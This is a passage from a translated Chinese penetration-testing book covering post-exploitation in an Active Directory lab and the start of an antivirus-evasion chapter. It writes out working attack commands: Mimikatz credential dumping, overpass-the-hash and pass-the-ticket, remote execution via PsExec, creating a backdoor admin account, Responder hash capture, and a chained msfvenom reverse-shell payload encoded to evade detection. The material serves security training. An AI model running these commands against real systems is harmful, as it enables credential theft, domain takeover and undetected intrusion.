现在您已经攻破了系统,您可能想知道接下来该怎么办。后渗透是下一步,我们希望在内部网络中获得进一步的访问。在本章中,我们将看看如何获得比当前更高的权限。这可能需要在网络上进一步嗅探,以及执行横向移动技术。

在本章中,您将学习不同的后渗透技术,以及为什么后渗透形成渗透测试的一个重要部分。您将学习如何建立一个 AD 实验室,用于测试您的后渗透技能。通过使用可用的工具,您将了解它们的目的以及如何在渗透测试中使用它们,以确保您可以访问被攻击的系统。

在您阅读本章的过程中,您将学习以下主题:

  • 发现后渗透技术

  • 准备您的环境

  • 后渗透工具

  • 执行后渗透攻击

技术要求

要跟随本章中的示例和说明,请确保您具备以下技术要求:

  • Kali Linux 2019.1

  • Metasploitable 3

  • Windows Server 2016(评估版)

  • Windows 10 企业版(评估版)

发现后渗透技术

在执行后渗透时,您需要了解一些技术。这些技术是您在进行渗透测试时将利用的。例如,考虑这样一个情景,您可能会攻破一个标准用户,该用户在网络上没有访问许多资源的权限。您的目标(在渗透测试的范围内)是获得域控制权并创建一个高权限用户帐户。您将如何进行?这就是了解后渗透不同技术的重要性,因为您将能够看到可以利用的差距,以使您更接近目标。

我们将在本节中涵盖一些这些技术。

横向移动

一旦您攻破了目标网络上的初始主机,您将需要开始在环境中进行横向移动。横向移动是从一个主机移动到另一个主机,寻找更高权限的帐户、枢纽点、敏感数据或者简单的侦察的过程。在这个阶段,使用内置工具以避免被检测是一种常见做法。例如,PowerShell 或 WMI 通常被列入白名单,并允许在环境中的端点上使用。

在横向移动过程中,凭证收集通常是一个主要焦点。它始于已被攻破的主机,并随着您在网络中移动而持续。收集凭证可以为您提供升级路径,如果您使用诸如键盘记录、内存转储或者捕获存储凭证的文件等技术。大多数组织低估了内置的本地管理员帐户。这个帐户可以用于在不同的端点之间跳转。

您可以通过利用未打补丁的机器在网络中移动。一些组织在为员工配置新工作站时并不使用隔离环境。当操作系统忙于更新时,您有一个小窗口,补丁缺失,这可以被利用。

权限提升

权限提升是寻找比您当前拥有的更高权限访问方式的过程。例如,如果您攻破了一个普通用户帐户,那么该帐户很可能没有访问域控制器的权限。因此,您需要寻找一个具有访问权限的帐户。域管理员组内的帐户很可能是一个明显的线索。

为了找到高特权帐户,您需要通过横向移动计算机,如前一节所讨论的那样。您将通过可能包含凭据的文件、配置错误的服务、过多的用户权限,甚至故意不安全的安全措施来工作。

枢轴

企业网络通常会有逻辑边界,您需要在渗透测试中穿越。逻辑网络边界是网络内的逻辑分隔,通常是通过将网络分割成不同子网并通过路由器、交换机甚至防火墙控制对子网的访问来实现的。例如,网络将包含受信任区段、服务器区段、非军事区段DMZ)和外部区段。受信任区将是内部网络,是最受信任的网络,可能不会有太多限制。服务器区段将是一个包含各种服务器的子网。非军事区段包含外部面向服务器,外部区段将是一个不受信任的网络,如互联网。

枢轴是访问在正常情况下无法访问的资源的过程。如果我们考虑前一段中讨论的各个部分,您可能已经获得了对受信任部分的初始访问权限。您现在正在尝试访问服务器部分中的特定服务器,但是从一般受信任网络是不允许的——只允许从跳转主机访问,该跳转主机将同时访问服务器和受信任部分。获得对该跳转主机的访问权限将为您提供到服务器部分的枢轴点。

准备您的环境

为了演示本章中的各种后渗透攻击,我建立了一个基本的Active DirectoryAD)实验室。您可以使用以下图表构建与我相同的实验室:

图 1:实验室图表

Windows 10 企业评估可以从以下网址下载:www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise

Windows Server 2016 评估可以从以下网址下载:www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016

服务器操作系统上创建域的设置步骤如下:

  1. 安装完成后,使用本地管理员帐户登录您的服务器。

  2. 在以太网适配器上配置静态 IP 地址。如果您正在构建虚拟机,请确保将网络适配器设置为虚拟化软件上的私有网络。

  3. 单击开始并搜索PowerShell。然后,右键单击 PowerShell 并选择以管理员身份运行。

  4. 一旦 PowerShell 打开,输入Install-WindowsFeatures -Name AD-Domain-Services -IncludeManagementTools命令。安装功能后,您将收到以下消息:

图 2:安装 AD 域服务

  1. 接下来,我们需要设置 AD 林配置。输入Install-ADDSForest -DomainName "pentest.lab" -InstallDNS命令。您将被提示输入恢复密码;这可以是您想要的任何内容。使用A来回答所有问题都是肯定的:

图 3:安装 AD 林

  1. 在此期间,安装将安装多个组件。一段时间后,服务器将重新启动。重新启动后,您将能够使用您在首次安装服务器时定义的管理员用户名和密码登录。

  2. 您可以通过在管理 PowerShell 窗口中发出Get-ADDomain命令来确认域是否已成功设置:

图 4:验证 Active Directory 信息

如果您更喜欢使用图形界面,可以在以下链接找到一个很棒的博客,告诉您如何操作:blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/

还有一些额外的任务需要完成,您可以使用此处定义的 PowerShell 命令来完成。确保您使用域管理员帐户登录到域控制器,然后使用 PowerShell 执行这些额外的步骤:

  1. 我们要做的第一件事是在 AD 中创建一个新的组织单位。您可以随意命名。在我的环境中,我称之为IT
New-ADOrganizationalUnit -Name "IT"
  1. 下一步是创建用户帐户。您可以重复此步骤,通过更改粗体标记的名称来创建helpdeskagentserveradmin帐户:
New-ADUser -Name "DomainAdmin" -GivenName "Domain" -Surname "Admin" -SamAccountName "DomainAdmin" -UserPrincipalName "DomainAdmin@pentest.lab" -Path "OU=IT,DC=pentest,DC=lab" -AccountPassword(Read-Host -AsSecureString "User Password") -Enabled $true
  1. 接下来,我们将创建一个安全组。helpdeskagent将被添加到这个组中:
New-ADGroup "Helpdesk Staff" -Path "OU=IT,DC=pentest,dc=lab" -GroupCategory Security -GroupScope Global -PassThru –Verbose
  1. 最后,我们将把各种用户添加到各自的安全组中:
Add-AdGroupMember -Identity "Domain Admins" -Members DomainAdmin
Add-AdGroupMember -Identity "Helpdesk Staff" -Members HelpdeskAgent

一旦域控制器建立完成,您可以将您的 Metasploitable 3 和 Windows 10 企业虚拟机加入到域中。确保您按照前面的图表设置静态 IP 和 DNS。

为了模拟我们将在后面介绍的攻击,我已经配置了以下内容:

  • Windows 10 企业虚拟机:在这里,登录的用户将是domainadmin。我已经将Helpdesk Staff组配置为 PC 上的本地管理员。

  • Metasploitable 3:在这里,我已经使用serveradminhelpdeskagent帐户登录。

后渗透工具

后渗透是渗透测试的重要部分。有许多工具可以用于后渗透。了解何时以及如何使用这些工具将有助于您进行成功的后渗透活动。

我们将在本节中讨论其中一些工具。

Metasploit 框架

Metasploit 框架确实具有许多功能,我们在整本书中都广泛使用了它。我们主要关注了框架的利用功能。现在,我们将看看后渗透功能。Metasploit 提供了许多可以针对各种系统使用的模块。

为了在您的实验室中执行这些攻击,我使用了 Metasploitable 3(Windows)虚拟机作为目标。我使用的漏洞是windows/smb/ms17_010_eternalblue,我们在第五章中介绍过,深入 Metasploit 框架

让我们看看可用的后渗透功能以及它们可以用于什么。

Metasploit 后模块

在 Metasploit 框架中,有许多跨不同操作系统的后模块。您可以通过键入use post,然后按两次Tab键来查看。Metasploit 将提示您显示所有可能性。在撰写本文时,有 328 个可以使用的post模块:

图 5:查看 Metasploit 中的后模块

让我们看看您可以使用的一些模块。例如,post/windows/gather/enum_ad_userspost/windows/gather/enum_ad_groups模块将为您提供有关 AD 域中存在的用户和组的一些见解:

图 6:枚举 AD 组

在您已经攻击的目标系统上,您需要确定当前安装了什么。这将有助于确定诸如主机入侵检测或防病毒应用程序之类的安全控制。通过使用post/windows/gather/enum_applications,您将能够看到已安装应用程序的列表:

图 7:列出当前安装的应用程序

让我们看看 Meterpreter 中存在的选项。回想一下第五章,深入了解 Metasploit 框架,使用 Meterpreter shell 提供了更多的功能。

一旦您入侵了一个系统,您可能希望将您的 Meterpreter 会话迁移到另一个进程,以避免被检测或获得持久性。可以通过使用来自 Meterpreter 会话的run post/windows/manage/migrate命令来进行进程迁移:

图 8:Meterpreter 进程迁移

Meterpreter 使得可以使用额外的扩展类别,如powershellMimikatz。这些可以通过从 Meterpreter shell 中使用load命令加载:

图 9:加载 meterpreter 模块

使用getsystem命令可以实现使用 Meterpreter 进行本地系统的特权升级。

这个命令告诉 Meterpreter 使用任何可用的技术来获取本地系统权限。这些技术包括命名管道模拟令牌提升

图 10:使用 Meterpreter 提升到系统权限

在本章的即将到来的部分(执行后渗透攻击)中,我们将看看如何使用 Meterpreter 的一些功能来执行后渗透活动。

Empire

Empire 是另一个可以用于后渗透的强大工具。它灵活且利用了安全通信。它为您提供了在不需要powershell.exe的情况下运行 PowerShell 代理的能力。后渗透模块范围从键盘记录器到凭证提取工具(如 Mimikatz)。

Empire 可以通过克隆存储库来安装。您可以使用以下命令来执行此操作:

git clone https://github.com/EmpireProject/Empire.git

一旦存储库被克隆,您可以在其目录中使用./install.sh命令安装 Empire。安装完成后,您可以使用./empire命令运行 Empire。

当 Empire 加载时,您将看到主屏幕,显示加载的模块、监听器和活动代理:

图 11:Empire 主屏幕

在您拥有活动代理之前,我们需要创建一个监听器。这可以通过使用listeners命令来完成,然后使用uselistener [type]命令定义我们想要创建的监听器类型。有各种类型,如httpmeterpreterredirector

使用uselistener http命令设置一个简单的http监听器。一旦选择了listeners,您可以使用info命令检查可用的选项:

图 12:查看监听器选项

注意Required字段。默认情况下,您只需要为监听器提供一个名称。这可以使用set Name [name]命令完成。在我的例子中,我给我的监听器起了一个名字,即Metasploitable3。一旦定义了一个名称,输入execute命令启动监听器。

Empire 命令区分大小写。使用set name命令将不起作用-您必须使用set Name

现在您已经设置了监听器,您需要将一个分段器链接到监听器。这可以通过使用back命令返回到监听器配置来完成。要定义一个分段器,您将使用usestager [stager]命令。您可以通过按两次Tab按钮查看完整的分段器列表。

我们将使用usestager windows/launcher_bat命令创建一个简单的 Windows 启动器分段器。这将创建一个可以在目标机器上运行的批处理文件,并将其存储在临时位置:

图 13:使用 Empire 创建一个分段器

一旦分段器被创建,你所需要做的就是在目标系统上运行文件。运行分段器后,它将连接到帝国并成为一个代理:

图 14:帝国中的活动代理

要与代理进行交互,我们使用interact [agent name]命令。

使用sysinfo命令,我们可以确认我们具有管理完整性。这由High Integrity变量中的值1来定义:

图 15:获取远程系统信息

一旦你获得了对代理的访问权限,你可以随心所欲地进行后期利用活动。

Responder

Responder 是一个可以快速获取凭据的工具。它内置于 Kali Linux 中,利用了 LLMNR、NBT-NS 和 MDNS 毒物质,这些都可以简单地用于攻击易受攻击的网络。Responder 之所以成功,纯粹是因为网络组件,如 ARP(地址解析协议)、DHCP(动态主机配置协议)和 DNS(域名系统)没有得到安全配置。

链路本地组播名称解析(LLMNR)和NetBios 名称服务(NBT-NS)是在 Windows 操作系统中用于通信和名称解析的组件;它们在 DNS 失败时尝试解析名称。MDNS 代表 Microsoft DNS。

Responder 的基本语法是responder -I [interface]

Responder 有许多可用的毒物服务器。这些可以通过存在于/usr/share/responder/Responder.conf的配置文件进行配置:

图 16:Responder 毒物服务器

要了解 Responder 的工作原理,让我们考虑以下情景。

用户被引导到一个不存在的共享,要么是通过社会工程学,打开一个强制计算机尝试访问不存在的共享的恶意文档,要么是在尝试访问合法共享时打错了字。

让我们按照这些步骤来看看它是如何运作的:

  1. PC 将尝试通过对其配置的 DNS 服务器进行名称解析来连接不存在的文件共享:

图 17:用户尝试访问不存在的共享

  1. DNS 服务器没有与 PC 尝试访问的内容匹配的记录,因此它会告诉 PC 该记录不存在。这就是 LLMNR 和 NetBIOS-NS 查询接管的地方。

  2. 然后 PC 将使用 LLMNR 和 NetBIOS-NS 进行广播,这将被运行 Responder 的攻击者拦截。

  3. Responder 将回答查询并欺骗 PC 相信它有该共享。然后它将继续要求 PC 使用用户的密码哈希加密挑战请求。一旦哈希挑战完成,Responder 将以错误的方式丢弃请求。

  4. Responder 现在已经捕获了哈希并在控制台上显示出来:

图 18:捕获的 NTLMv2 哈希

一旦哈希被捕获,就可以使用hashcat等工具进行破解:

图 19:使用 hashcat 破解 NLTMv2 哈希

Responder 有能力创建一个恶意代理服务器,它将回答Web 代理自动发现(WPAD)请求。这是一个协议,客户端用它来下载一个定义代理设置的配置文件。通过恶意代理,Responder 能够强制进行身份验证,从而诱使用户输入他们的凭据,这些凭据可以被捕获。

尽管 Responder 本身不是后期利用工具,但了解它的工作原理可以帮助您在后期利用活动中解决困难。在执行其他后期利用活动时,让它继续运行也没有坏处,因为很可能您会收集到大量哈希值,特别是在用户在尝试访问共享时容易出现拼写错误的大型环境中。

Mimikatz

Mimikatz 是社区中众所周知的工具。它是一个开源应用程序,允许您与 NTLM 哈希或 Kerberos 票证等凭据进行交互。该工具不断得到维护,并且其攻击向量保持最新。Mimikatz 的存储库位于这里:github.com/gentilkiwi/mimikatz

攻击者和渗透测试人员通常会使用 Mimikatz 来窃取凭据并执行特权升级等活动。随着杀毒技术的进步,这个工具经常被杀毒产品检测到。然而,互联网上有许多关于如何在使用 Mimikatz 时规避检测的文章。

Mimikatz 的一些主要特点如下:

  • Pass-the-HashPtH):在 Windows 中,密码数据以哈希格式(NTLM)存储。Mimikatz 允许您利用这个哈希并将其传递给目标,从而无需破解哈希。通过传递这个哈希,您可以获得对目标系统的访问权限,并拥有属于该哈希的帐户的全部权限。

  • Pass-the-Ticket:这种攻击涉及使用 Kerberos 票证对系统进行身份验证;无需知道帐户的密码。它通过捕获有效帐户的 Kerberos 票证来工作。捕获票证授予票证TGT)可以用于从票证授予服务TGS)请求服务票证,以访问帐户有权限访问的任何资源。

  • Overpass-the-HashPass-the-Key):这种攻击结合了哈希传递和票证传递攻击。通过使用有效的 NTLM 哈希,您将能够获得有效用户的 Kerberos 票证请求。

  • Kerberos Silver Ticket:银票攻击包括创建一个忘记服务票证。这些票证可以提供对特定服务的访问权限。例如,创建一个 SQL 服务账户的银票证允许您访问特定主机上的 SQL 服务。在执行银票证账户时,不需要与域控制器进行通信。这使您可以避免被检测到。

  • Kerberos Golden Ticket:这种攻击涉及一个名为krbtgt的帐户。该帐户用于在 AD 域中加密和签名所有 Kerberos 票证。黄金票证攻击涉及窃取krbtgt哈希;一旦窃取,您就能够创建和签署自己的 Kerberos 票证。这最终使您完全访问域内的任何内容,并且该票证不会过期。

Mimikatz 在许多后期利用工具中被利用,如 Empire、Metasploit Framework 和 Powersploit。

执行后期利用攻击

让我们在实验环境中进行一些后期利用攻击。我们将使用 Metasploitable 3 虚拟机作为入口点,因为我们知道存在漏洞。

使用windows/smb/ms17_010_eternalblue漏洞,我们将生成一个 Meterpreter 会话。一旦我们建立了会话,我们将使用getsystem命令提升到系统权限。

一旦我们有了 Meterpreter 会话,我们将使用sysinfo命令确认当前系统的信息:

图 20:确认当前系统信息

在这里,我们有一些有趣的信息:我们可以看到有三个已登录的用户。让我们继续进行凭证收集。

执行凭证收集

现在我们知道有三个用户登录,我们将尝试提取任何凭据。为此,我们将使用load kiwi命令在 Meterpreter 中加载kiwi扩展。一旦扩展加载完成,我们将使用kiwi_cmd sekurlsa::logonpasswords命令转储当前登录用户的凭据:

图 21:加载 kiwi 扩展

当我们使用kiwi_cmd sekurlsa::logonpasswords命令时,我们告诉 Meterpreter 使用我们将在其中定义命令的命令,然后我们定义我们想在 Mimikatz 中使用的命令。sekurlsa::logonpasswords命令负责从内存中的本地安全性机构子系统服务lsass)中提取密码、密钥、PIN 码和票证。

命令运行后,将有大量输出。请注意以下截图中的输出。在这里,我们有一些有价值的信息。我们可以看到有一个名为serveradmin的用户帐户已登录。我们有用户帐户的 LM 和 NTLM 哈希,由于域仍在使用wdigest,我们有P@ssw0rd!@#$%的明文密码:

图 22:使用 Mimikatz 转储的 ServerAdmin 凭据

深入研究输出,我们还有另一个有趣的凭据,helpdeskagent。在这里,我们还有 NTLM 哈希和明文密码:

图 23:使用 Mimikatz 转储的 helpdeskagent 凭据

现在,我们有两个有趣的帐户可供使用。在进行横向移动之前,我们将使用 Meterpreter 上传两个文件,使用以下步骤:

  1. 使用pwd命令查看当前工作目录。

  2. 您可以在此处上传文件,也可以创建新文件夹。我创建了一个名为tools的新文件夹。

  3. 确保您已从我们在Mimikatz部分提到的 GitHub 存储库中下载了 Windows 版本的mimikatz.exe。使用upload命令上传文件:

图 24:上传 mimikatz.exe

接下来要上传的文件是PSexec.exe. PSexec用于执行远程命令,并可从docs.microsoft.com/en-us/sysinternals/downloads/psexec下载。

在真实的渗透测试中,您不会简单地上传文件,特别是 Mimikatz 和PSexec,因为它们可能会被本地防病毒软件删除或记录,IT 人员可能会被警告您在机器上的存在。在这个演示案例中,Metasploitable 3 上没有安装防病毒软件或日志记录软件。

最后,我们将创建一个本地用户帐户,以便访问服务器。我们可以使用 Meterpreter 中的shell命令访问 Windows 命令提示符。一旦我们获得 shell 访问权限,我们将使用以下两个命令在内置管理员组中创建一个本地用户:

net user [username] [password] /add
net localgroup [group name] [username] /add

此命令创建一个本地用户并将用户添加到指定的组:

图 25:创建本地管理员用户

拥有此本地管理员用户帐户可以形成后门。

执行 Overpass-the-Hash

由于我们已确定 Metasploitable 3 是一个服务器,让我们尝试使用我们在其中创建的本地帐户登录,以防我们收集到哈希的用户之一已登录。为此,我们将使用内置于 Kali 中的xfreerdp工具。

我们将使用的命令语法如下:

xfreerdp /u:Pentester /p:Pentest@1! /v:192.168.10.15

在此命令中,我们定义了用户(/u)、密码(/p)和服务器 IP(/v)。输入命令后,您将拥有远程桌面会话:

图 26:建立远程桌面会话

现在我们已经登录到服务器,让我们尝试枚举当前域用户和组。请记住,我们已经收集了serveradminhelpdeskagent的凭据。打开命令提示符并输入net user /domain命令失败,因为我们没有通过域进行身份验证:

图 27:用户枚举被拒绝

由于我们有两个域凭据的哈希值,让我们使用这个来执行 Overpass-the-Hash 攻击。我们将使用 Mimikatz 工具的serveradmin哈希。执行此操作的命令如下:

Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:serveradmin /ntlm:[ntlm hash] /domain:pentest.lab" "exit"

在这个命令中,我们告诉 Mimikatz 使用最高权限(privilege::debug),通过 Overpass-the-Hash 攻击(sekurlsa::pth)并定义用户名(/user)、NTLM 哈希(/ntlm)和域(/domain)。

一旦命令执行,我们将会有一个新的命令提示符窗口打开。这个窗口将具有serveradmin账户的权限,因此允许我们在伪装成serveradmin的同时执行用户和组枚举:

图 28:成功的 Overpass-the-Hash 攻击

现在,让我们看看我们可以用helpdeskagent账户做些什么。在用户和组枚举期间,我们确定域中有一个helpdeskagent账户和一个Helpdesk Staff组。让我们假设用户账户是这个组的成员。我们可以通过使用net user helpdeskagent /domain命令来确认这一点:

图 29:验证 helpdeskagent 的组

确实,该账户是该组的成员。

在进行下一步之前,我们将重复执行 Overpass-the-Hash 攻击,但这次使用helpdeskagent账户的 NTLM 哈希。

执行横向移动

使用 Overpass-the-Hash 攻击使用helpdeskagent账户生成的新命令窗口,我们将尝试访问 Windows 10 PC。使用dir \\192.168.10.9\c$命令进行简单的目录列表显示了该目录。这告诉我们Helpdesk Staff可能在该 PC 上拥有本地管理员权限。

我们要做的第一件事是将 Mimikatz 复制到 Windows 10 PC。这可以通过使用xcopy mimikatz.exe \\192.168.10.9\c$\tools命令来完成。根据以下截图,由于我没有创建目录,我被提示定义目标是文件还是目录:

图 30:将 mimikatz.exe 复制到新目标

使用PSexec,我们将查看转储当前登录用户凭据。这可以通过以下命令完成:

psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe "privilege::debug" "seckurlsa::logonpasswords" "exit")

在这个命令中,我们告诉PSexec在远程系统上运行 Mimikatz 命令。-accepteula命令非常重要,因为这将阻止远程系统上的 EULA 提示出现:

图 31:使用 PSexec 远程执行 mimikatz 命令

一旦我们有了输出,我们将看到有一个高权限账户登录,即domainadmin

图 32:在远程系统上收集凭据

在这里,我们没有明文密码,但我们仍然有 NTLM 哈希,我们可以使用。接下来我们要做的是执行一个 Pass-the-Ticket 攻击。我们将使用在本节中使用的同一个命令行窗口。

执行 Pass-the-Ticket 攻击

为了执行这个攻击,我们需要从 Windows 10 PC 导出当前的 Kerberos 票证。这可以通过以下命令完成:

psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit")

在这个命令中,我们正在导出当前的 Kerberos 票据,以便我们可以复制它们并将其导入到我们的会话中。一旦您运行此命令,您将获得一些*.kirbi文件。由于我们只对domainadmin感兴趣,我们将把它们复制到我们的 Metasploitable 3 服务器上。可以使用普通的 Windows copy命令进行复制。

一旦你在 Metasploitable 3 服务器上有了.kirbi文件,你可以使用以下命令执行票据传递攻击:

mimikatz.exe "privilege::debug" "kerberos::ptt c:\windows\system32\tools" "exit"

在这个命令中,我们正在定义攻击(kerberos:ptt)和.kirbi文件的位置:

图 33:导入 domainadmin Kerberos 票据

注意前面截图中的输出。在执行攻击之前,我尝试访问 DC,但被拒绝了。请记住,这是我们使用helpdeskagent账户生成的同一个窗口。一旦 Mimikatz 命令执行,我们将看到domainadmin Kerberos 票据已经导入到我们的会话中。

我们可以通过运行klist命令来确认 Kerberos 票据已经导入,该命令将显示当前的 Kerberos 票据:

图 34:Kerberos 票据成功导入

注意,我们的会话现在具有domainadmin账户的 Kerberos 票据。我们现在正在冒充域管理员,因此我们将能够访问域控制器:

图 35:域控制器现在可以访问

在这一点上,我们已经完全访问了域控制器,这导致了对环境的完全妥协。

摘要

后期利用可以以许多不同的方式进行。有时,仅使用一个工具,如 Responder,就可以捕获高特权哈希。在其他情况下,您需要通过使用各种技术来真正地处理环境。在本章中,我们只关注了一些工具,但还有许多其他可用的工具。

在本章中,您确定了在进行后期利用时可以利用的各种技术。您现在可以构建一个基本的 AD 实验室,用于测试您在后期利用方面的技能。您可以使用渗透测试人员和攻击者使用的真实工具。您还获得了执行各种后期利用攻击的实际动手能力。

在下一章(第十二章,在环境中保持控制)中,我们将讨论持久性以及如何保持对被入侵网络的访问。

问题

  1. 在后期利用过程中可以利用哪些技术?

  2. 可以用于后期利用的工具有哪些?

  3. 列出一些存在于 Meterpreter 中的后期利用脚本。

  4. 解释一下票据传递攻击。

  5. krbtgt账户有什么独特之处?

第十一章:防病毒规避

拥有防病毒软件的概念并不新鲜。这是一种常见的安全控制,用于保护用户免受恶意软件和其他类型的恶意软件的侵害。从历史上看,它一直专注于预防病毒感染。在您的渗透测试中,几乎不可能找到一个没有防病毒软件的客户。

在本章中,您将了解防病毒技术的发展以及它们变得更加复杂的方式。您将学习各种可以用于防病毒规避的技术,并了解可以帮助您利用这些技术的工具。您将学习如何对有效载荷进行编码以避免检测,并最终探索可以用于检查有效载荷检测率的在线工具。

随着本章的进行,您将学习以下主题:

  • 防病毒技术的发展

  • 防病毒软件规避的概念

  • 开始使用防病毒规避

  • 测试规避技术

技术要求

要按照本章中的示例和说明进行操作,请检查您是否具备以下技术要求:

  • Kali Linux 2019.1

防病毒技术的发展

威胁形势正在迅速发展。在过去的几年里,出现了攻击向量,如自动化攻击、无文件恶意软件、固件恶意软件、高级持续性威胁(APT)恶意软件,还有,别忘了,复杂的勒索软件。攻击者拥有一系列攻击手段,可以利用人工智能和机器学习。基于这些攻击的进展,防病毒软件不得不跟上。

淘汰旧技术

传统的防病毒软件,其目的是仅仅基于签名停止病毒,并根据模式查找文件系统或应用程序的变化,已经不再足够。尽管签名和基于模式的匹配仍然在使用,但存在弱点。例如,无法更新签名,或者跟上每天发布的大量恶意软件都会带来巨大风险。启发式扫描是防病毒软件分析代码与一组变量的能力,这些变量将指示病毒是否存在。这种方法使得能够检测到一组额外的病毒,但也可以被规避,因为变量可以被修改。防病毒软件的扫描和拦截能力有其好处,但这些也可以被规避。

现在存在的恶意软件增长速度太快,使得防病毒制造商无法跟上。

引入新技术

如今的防病毒软件已经发展,具有检测和防止隐藏漏洞利用的能力,利用威胁情报,对端点(包括应用程序、进程和内存)进行全面监控,自动警报,取证能力和数据收集。

当今的防病毒软件可以被称为下一代防病毒软件,并使用以下策略:

  • 查看阻止使用典型方法绕过正常进程操作的利用技术。这种方法不考虑文件类型,而是考虑进程本身。

  • 可以用于学习特定恶意文件的数百个变体的机器学习技术;而在旧的防病毒软件中,这需要一些人工干预和一个沙箱环境来测试每个变体。

  • 超越磁盘的检测能力。例如,无文件恶意软件等恶意软件不会在磁盘上留下任何东西。传统的防病毒软件无法检测到这一点,但下一代防病毒软件可以。

  • 人工智能的作用是进一步减少人类干预,使防病毒软件能够识别模式,将其与威胁联系起来,并使用新模式更新自己的数据库。

似乎这些下一代反病毒软件使规避变得不可能,但仍然是可能的。随着其防御能力的提高,我们可以利用的进攻工具也在不断改进。

反病毒规避的概念

在渗透测试的利用阶段,您需要在目标系统上运行代码。这可以通过钓鱼邮件、利用或社会工程来完成。您将遇到的阻碍是反病毒软件(无论是传统变体还是下一代变体)。绕过反病毒软件的最有效方法是创建自己的定制有效载荷。在我们深入创建有效载荷之前,让我们考虑一些技巧:

  • 侦察在反病毒规避中起着重要作用。了解您的目标拥有什么是关键。如果您觉得想要一个定制的有效载荷,可以避开所有反病毒产品,那么您是在误导自己。花费时间来实现这一点将会太长,而且随着每个供应商积极改进其产品,您的有效载荷将很快被检测到。将有效载荷缩小到目标的反病毒软件。

  • 一旦您有一个可用的 shellcode,您可能会在以后的渗透测试中再次重复使用它,而且它可能仍然有效。为了确保减少您的利用的检测能力,永远不要将其提交到 VirusTotal 等服务(本章后面将介绍),或任何其他在线扫描程序。这些在线资源通常会将样本提交给反病毒供应商,供应商又会用它来增强其检测能力。

  • 简单是关键。不要选择带有大量功能的华丽有效载荷。记住,您只是试图禁用反病毒软件,然后使用更强大的工具。

  • 利用您可以使用的资源。例如,Metasploit 具有可用于反病毒规避的模块。在线资源如 ExploitDB 有可以下载、定制和使用的 shellcode。

牢记这些技巧将有助于您在渗透测试职业中取得进展,因为您在规划反病毒规避时有一个很好的起点。

反病毒规避技术

既然我们已经确定了需要进行反病毒规避,让我们来看看存在的各种技术。以下是可以使用的最常见的技术。

编码器

编码器允许您避免在利用中导致其发生故障的字符。通过使用 MSFvenom,您可以访问多个编码器。编码工作是通过拆分有效载荷并添加额外的代码来掩盖真实的有效载荷。在有效载荷中添加解码指令,以便在运行之前对其进行解码。MSFvenom 具有一些内置的编码器,我们将在本章后面进行讨论。

自定义编译

使用 MSFvenom 的内置编码器并不像我们希望的那样高效。Metasploit 及其组件是反病毒制造商的一个不断关注的焦点,并且他们密切关注其中的编码器所做的改进。为了绕过这一点,您可以利用自定义编译来创建一个不可检测的有效载荷。查看 C 编程语言,有一些关键组件可以利用,以向您的代码添加随机性,以试图欺骗反病毒程序不要检测它。

混淆

混淆是修改有效载荷的过程,使其对反病毒软件不清楚,但仍然可以用于其预期目的。混淆有效载荷的一种方法是使用加密。可以使用 Hyperion 等工具(我们将在后面介绍)使用高级加密标准AES)对有效载荷进行加密。一旦运行有效载荷,解密就会发生,有效载荷就能够执行。这种加密有助于减少反病毒软件的检测率。

当然,由于杀毒软件不断变得更好,仅仅使用一种规避方法是不可能的。没有杀毒软件规避的灵丹妙药。您需要结合一些技术来帮助降低有效负载的检测率。

开始使用杀毒软件规避

在进行渗透测试时,存在着您和客户之间定义的信任级别。当您将任何有效负载投放到他们的环境中时,例如规避杀毒软件以在您的系统中创建后门,您需要确保有效负载只连接回您。代码中不应该有任何可能导致客户环境真正妥协的错误。

在您学习本节中定义的各种工具时,请确保明确定义目标将连接回的系统 IP。这样做将确保您在职业生涯的初步学习阶段强化信任的概念。

MSFvenom

MSFvenom 是 Metasploit 框架的命令行工具的一部分。它用于生成各种 shellcode,可用于提供对系统的后门。

MSFvenom 中的一些常见开关如下:

--l 这用于显示每个类别(编码器、有效负载、格式、加密器等)中所有模块的列表。例如,使用msfvenom -l payloads将显示当前可用的有效负载集。
--p 这定义将使用的有效负载。例如,使用msfvenom -p windows/x64/meterpreter_reverse_https命令将定义 meterpreter 反向 HTTPS 有效负载。
--f 这定义了输出格式。例如,您可能想要创建一个.exe.c文件。
--b 这用于消除坏字符。杀毒软件会寻找诸如\x00之类的坏字符。
--e 这用于定义将使用的编码器。例如,常用的编码器之一是/x86/shikata_ga_nai
--i 这用于定义对 shellcode 进行编码的最大次数。
--a 这用于定义架构。例如,-a x64将创建一个 64 位的 shellcode。
--platform 这用于定义 shellcode 将针对的平台。例如,对于 Windows 操作系统,可以使用--platform Windows

MSFvenom 有更多的选项和开关;前面的表格描述了在创建有效负载时通常使用的内容。

MSFvenom 允许您将多个命令链接在一起。这是通过在每个命令的末尾使用| \序列来完成的。

要使用一系列命令创建有效负载,请按照以下步骤进行。注意每个命令末尾的| \序列。

从终端窗口,输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15  | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9  -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o MSFV-payload.exe

当您完成输入上述命令后,您应该得到以下输出:

图 1:MSFvenom 命令链

在命令的第一行中,我们正在定义要使用的meterpreter/reverse_tcp有效负载。然后我们定义我们攻击主机的 IP(LHOST)和端口(LPORT)。然后我们使用原始格式(-f),并使用shikata_ga_nai编码器(-e)进行 15 次迭代(-i 15)。

在命令的第二行中,我们通过现在定义架构(-a),平台,这种情况下是 Windows(--platform),以及使用 9 次迭代的x86/countdown编码器进一步对原始文件进行编码。

最后,我们通过再次运行shikata_ga_nai编码器并使用-f exe -o选项创建一个exe文件来编译这个。

一旦命令执行,它将创建一个名为MSFV-payload.exe的后门文件,存储在/root/Downloads/文件夹中。

我们将在本章后面的测试规避技术部分测试此文件的检测率。

Veil Evasion

Veil Evasion 工具套件可用于创建规避常见杀毒软件并生成反向 shell 的 shellcode。

安装 Veil 工具套件可以按以下步骤完成:

  1. 在 Kali Linux 中打开一个终端窗口。

